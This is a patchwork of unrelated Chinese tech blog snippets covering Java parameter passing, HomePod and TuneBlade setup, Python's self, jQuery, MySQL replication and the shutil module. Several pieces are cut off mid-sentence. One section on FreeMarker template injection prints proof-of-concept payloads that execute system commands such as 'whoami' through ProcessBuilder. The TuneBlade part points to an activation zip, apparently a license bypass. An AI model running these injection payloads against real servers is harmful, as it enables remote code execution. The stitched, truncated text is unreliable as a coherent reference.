概念 启动 进程脚本 守护进程的父进程 特点 查看守护进程 分类 启动方式 守护进程基本步骤
形参细节补充 形参传递机制 如果前面的基本类型和引用类型学明白了,这一部分很简单。
在执行类方法的时候,JVM 会开辟临时栈,这个临时栈与main栈是相互独立的,临时栈中无法获取到main栈中的任何变量,反过来也一样。 外界传入方法的实参,在执行的时候,相当于在临时栈中创建了一个变量,这个变量的名字就是形参名字,如果传入的是基本类型,则会将传入的实参进行值拷贝。如果传入的实参是引用类型,则会将这个变量指向这个引用类型的内存地址。 一旦方法内部的这个形参变量与这个引用类型断开,后续的任何操作都与外界传入的实参无关。例如: 传入的实参是一个数组,相当于在这个类方法创建了一个变量,变量名字就是这个形参的名字 并将这个变量指向这个实参的内存地址 现在我们断开与实参的引用 int 形参名字[] = {1, 2, 3} 这个操作相当于在堆空间中重新开辟一个新的数组,并将这个形参变量指向这个新的数组。我们就彻底和外部这个数组失联了,我们后续操作的都是我们新创建的这个数组,且因为栈与栈之间是独立的,我们也无法重新获取外界这个数组。 如果觉得上面不好理解可以看看下面这段代码
int array[] = {1, 2, 3}; // 假设下面是一个方法 int newArray[]; // 假设这是这个类方法的形参 // 假设现在执行的这个方法, // 并将array作为实参传递给了这个方法 newArray = array; // 我们在这个方法里创新定义了一个数组 newArray = {1, 3, 5, 6}; // 现在newArray与 array已经没有任何联系了 上面这段代码只是为了更好理解形参的传递机制,并不是真正的传递机制,因为在执行成员方法的时候 JVM 会开辟新的栈空间,栈与栈之间是相互独立的,如果断开了与外界的联系,那么你在方法体内是无法获取任何main栈中的变量的。
如果上面这段代码还是没能看懂的还是建议回去把基础打好
什么是Home Pod https://www.apple.com.cn/homepod-mini/
Home Pod是苹果公司(Apple Inc.)于2017年6月5日上午10点(北京时间2017年6月6日凌晨1点)在美国加利福尼亚州圣何塞McEnery会议中心发布的智能音箱产品。
Home Pod高172毫米(6.8英寸),宽142毫米(5.6英寸),有深空灰色和白色两种配色,搭载6个麦克风阵列,4英寸低音炮,底部配有7个扬声器阵列,内置Apple A8处理器。
Home Pod可以被Hey Siri唤醒,获取天气、新闻和交通等热点信息,也可以利用语音指令控制连接到其它Home Kit智能家居产品,并支持语音识别和加密功能,能够判别用户的唤醒指令,提升语音助手音箱的安全性。
设置HomePod立体声组合 https://support.apple.com/zh-cn/guide/homepod/apd1ed62a52a/homepod
将同一个房间中的两个HomePod mini扬声器或两个HomePod扬声器配对,以创建具有左右声道的沉浸式声场。您可以在给同一房间中的另一台HomePod进行设置时创建立体声组合,也可以稍后在“家庭”App中设置。
创建立体声组合 您可以使用两个HomePod mini扬声器或两个HomePod扬声器创建立体声组合。(您不能使用一个HomePod mini和一个HomePod创建立体声组合。)若要创建立体声组合,两个HomePod扬声器都需要分配至同一个房间。
在iOS或iPadOS设备上的“家庭”App中,按住HomePod。
向下滚动,然后轻点“设置”按钮。
轻点“创建立体声组合”,然后按照屏幕指示操作。
查看扬声器组合中每个扬声器的详细信息 在iOS或iPadOS设备上的“家庭”App中,按住HomePod组合。
向下滚动,然后轻点“设置”按钮。
轻点“扬声器”,然后按住一个扬声器。
切换左右声道分配 在iOS或iPadOS设备上的“家庭”App中,按住HomePod组合。
向下滚动,然后轻点“设置”按钮。
轻点“音频设置”,然后按照屏幕指示操作。
解散立体声组合 在iOS或iPadOS设备上的“家庭”App中,按住HomePod组合。
向下滚动,然后轻点“设置”按钮。
轻点“取消配件组合”。
获取TuneBlade http://www.tuneblade.com
安装TuneBlade TuneBlade_Installer_1_8_0_0.exe 根据提示一路安装。
安装后会找到你的HomePod节点,点击播放按钮即可连接。
激活TuneBlade 激活TuneBlade.zip 设置TuneBlade 更低延迟 参考 HomePod使用手册 在Windows上借助TuneBlade连接使用HomePod http://www.tuneblade.com homepodmini能当蓝牙音响吗 首发HomePod使用蓝牙连接(需借助PC)
什么是self? 在定义类的过程中,无论是显式创建类的构造方法,还是向类中添加实例方法,都要求将 self 参数作为方法的第一个参数,self 到底扮演着什么样的角色呢?
通俗解释 举个栗子: 如果把类比作造房子的图纸,那么类实例化后的对象是真正可以住的房子。根据一张图纸(类),我们可以设计出成千上万的房子(类对象),每个房子长相都是类似的(都有相同的类变量和类方法),但它们都有各自的主人。 如何对它们进行区分呢? 当然是通过 self 参数,它就相当于每个房子的门钥匙,可以保证每个房子的主人仅能进入自己的房子(每个类对象只能调用自己的类变量和类方法)。 代码理解 同一个类可以产生多个对象,当某个对象调用类方法时,该对象会把自身的引用作为第一个参数自动传给该方法,换句话说,Python 会自动绑定类方法的第一个参数指向调用该方法的对象。如此,Python解释器就能知道到底要操作哪个对象的方法了。
class Students: def __init__(self): print(正在执行构造方法) def say(self, content): print(self, content) jim = Students() # 初始化jim实例 jim.say('这是jim的实例') # 调用jim实例的say方法,此时的self为jim tom = Students() # 初始化tom实例 tom.say('这是tom的实例') # 调用tom实例的say方法,此时的self为tom 运行结果: 正在执行构造方法 <__main__.Students object at 0x109abdd30> 这是jim的实例 正在执行构造方法 <__main__.Students object at 0x109abdc18> 这是tom的实例
进程调度 定义 调度过程 调度问题和指标 常用调度算法 抢占优先级概念 优先级 调度策略 进程分类 前台进程 shell运行的程序 后台进程 shell运行带 & 的程序 查看后台程序,jobs killall exe 守护进程
Java安全之freemarker 模板注入 freemarker 简述 FreeMarker 是一款 模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
模板编写为FreeMarker Template Language (FTL)。它是简单的,专用的语言, 不是 像PHP那样成熟的编程语言。 那就意味着要准备数据在真实编程语言中来显示,比如数据库查询和业务运算, 之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。
这种方式通常被称为 MVC (模型 视图 控制器) 模式,对于动态网页来说,是一种特别流行的模式。 它帮助从开发人员(Java 程序员)中分离出网页设计师(HTML设计师)。设计师无需面对模板中的复杂逻辑, 在没有程序员来修改或重新编译代码时,也可以修改页面的样式。
其实FreeMarker的原理就是:模板+数据模型=输出
内置函数 new 可创建任意实现了TemplateModel接口的Java对象,同时还可以触发没有实现 TemplateModel接口的类的静态初始化块。 以下两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承TemplateModel接口的freemarker.template.utility.JythonRuntime和freemarker.template.utility.Execute。
API value?api 提供对 value 的 API(通常是 Java API)的访问,例如 value?api.someJavaMethod() 或 value?api.someBeanProperty。可通过 getClassLoader获取类加载器从而加载恶意类,或者也可以通过 getResource来实现任意文件读取。 但是,当api_builtin_enabled为true时才可使用api函数,而该配置在2.3.22版本之后默认为false。
POC1
<#assign classLoader=object?api.class.protectionDomain.classLoader> <#assign clazz=classLoader.loadClass(ClassExposingGSON)> <#assign field=clazz?api.getField(GSON)> <#assign gson=field?api.get(null)> <#assign ex=gson?api.fromJson({}, classLoader.loadClass(freemarker.template.utility.Execute))> ${ex(open -a Calculator.app)} POC2
<#assign value=freemarker.template.utility.ObjectConstructor?new()>${value(java.lang.ProcessBuilder,whoami).start()} POC3
<#assign value=freemarker.
目录jQuery作业讲解前情提要代码补充jQuery操作标签文本值操作属性操作文档处理事件操作克隆操作悬浮事件值监听事件分析阻止后续事件事件冒泡事件委托jQuery动画显示与隐藏滑动式动画淡入淡出效果animate语法一:语法二:通过animate()方法实现动画效果,但不支持以下CSS样式属性:前端框架 —— bootstrap框架布局容器栅格系统表格样式表单样式按钮与图片图标样式总结
jQuery 作业讲解 前情提要 1.一定要明确目前的标签到底是什么对象 如果是原生js代码查找出来的对象 那么只能调用原生js的对象方法 如果是jQuery查找出来的对象 那么只能调用jQuery对象方法 2.原生js对象与jQuery对象的关系(**) 可以将jQuery对象看成是数组包了标签对象 原生js对象就是标签对象 eg: ['jason', ] 'jason' $('#d1')[0] // jQuery对象转原生js对象 $(标签对象) // 原生js对象转jQuery对象 代码 <script> // let startBtn = $('#d2')[0]; let startBtn = document.getElementById('d2') let stopEle = document.getElementById('d3') let inputEle = document.getElementById('d1') // 4.专门定义一个展示时间的函数 function showTime(){ // 2.获取当前时间对象 let cTimeObj = new Date() // 3.添加到input标签value属性中 inputEle.value = cTimeObj.toLocaleString() } // 6.定义一个存储定时器对象的全局变量(多个函数都要用) let timeObj = null; // 1.
一 CentOS(红帽) 1 2 3 4 5 #CentOS有Python、Mysql的开发工具包,安装后使用pip安装mysqlclient即可 yum install mysql-devel yum install python-devel #yum install python36-devel pip install mysqlclient 二 Ubuntu 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #Ubuntu的话,也是安装一些Mysql的依赖或开发库 apt-get install libmysql-dev apt-get install libmysqlclient-dev apt-get install python-dev #python3要装python3-dev pip install mysqlclient #此时如果遇到如下错误 Collecting mysqlclient Using cached https://files.
10分钟搭建MySQL主从同步(基于docker) 一 主从配置原理 mysql主从配置的流程大体如图:
1)master会将变动记录到二进制日志里面;
2)master有一个I/O线程将二进制日志发送到slave;
3) slave有一个I/O线程把master发送的二进制写入到relay日志里面;
4)slave有一个SQL线程,按照relay日志处理slave的数据;
二 操作步骤 2.1我们准备两台装好mysql的服务器(我在此用docker模拟了两台机器) 环境 mysql版本 ip地址:端口号 主库(master) 5.7 172.16.209.100:33307 从库(slave) 5.7 172.16.209.100:33306 用docker拉起两个mysql容器,步骤如下(对docker不熟悉的同学可以查看docker快速入门章节):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 # 拉取mysql5.
shutil模块 复制文件和文件夹 shutil.copy() 复制一个文件,shutil.copytree()将复制整个文件夹
import shutil, os os.chdir('C:\\PyProjects') shutil.copy('C:\\PyProjects\\this.txt','C:\\PyProjects\\this_copy.txt') 'C:\\PyProjects\\this_copy.txt' shutil.copytree('bacon','bacon_copy') 'bacon_copy' 文件和文件夹的移动与改名 shutil.move(source, destination)
import shutil dir <built-in function dir> import shutil shutil.move('C:\\PyProjects\\bacon.txt','C:\\PyProjects\\bacon') 'C:\\PyProjects\\bacon\\bacon.txt' 改名
shutil.move('C:\\PyProjects\\bacon\\bacon.txt','C:\\PyProjects\\bacon\\new_bacon.txt') 'C:\\PyProjects\\bacon\\new_bacon.txt' 永久删除文件和文件夹 利用os模块中的函数,可以删除一个文件或一个空文件夹,但利用shutil模块,可以删除一个文件夹及其所有的内容。
用os.unlink(path)将删除path处的文件 os.rmdir(path) 将删除path处的文件夹,该文件夹必须为空,没有任何文件和文件夹 shutil.rmtree(path)将删除path处的文件夹,它包含所有文件和文件夹都会被删除 import os for filename in os.listdir('C:\\PyProjects'): if filename.endswith('.txt'): print(filename) #os.unlink(filename) C:\PyProjects>C:/Python37/python3.exe c:/PyProjects/demo.py bacon.txt this.txt 用send2trash模式安全地删除 安装send2trash
C:\Users\ElonTian>pip3 install send2trash Collecting send2trash Downloading Send2Trash-1.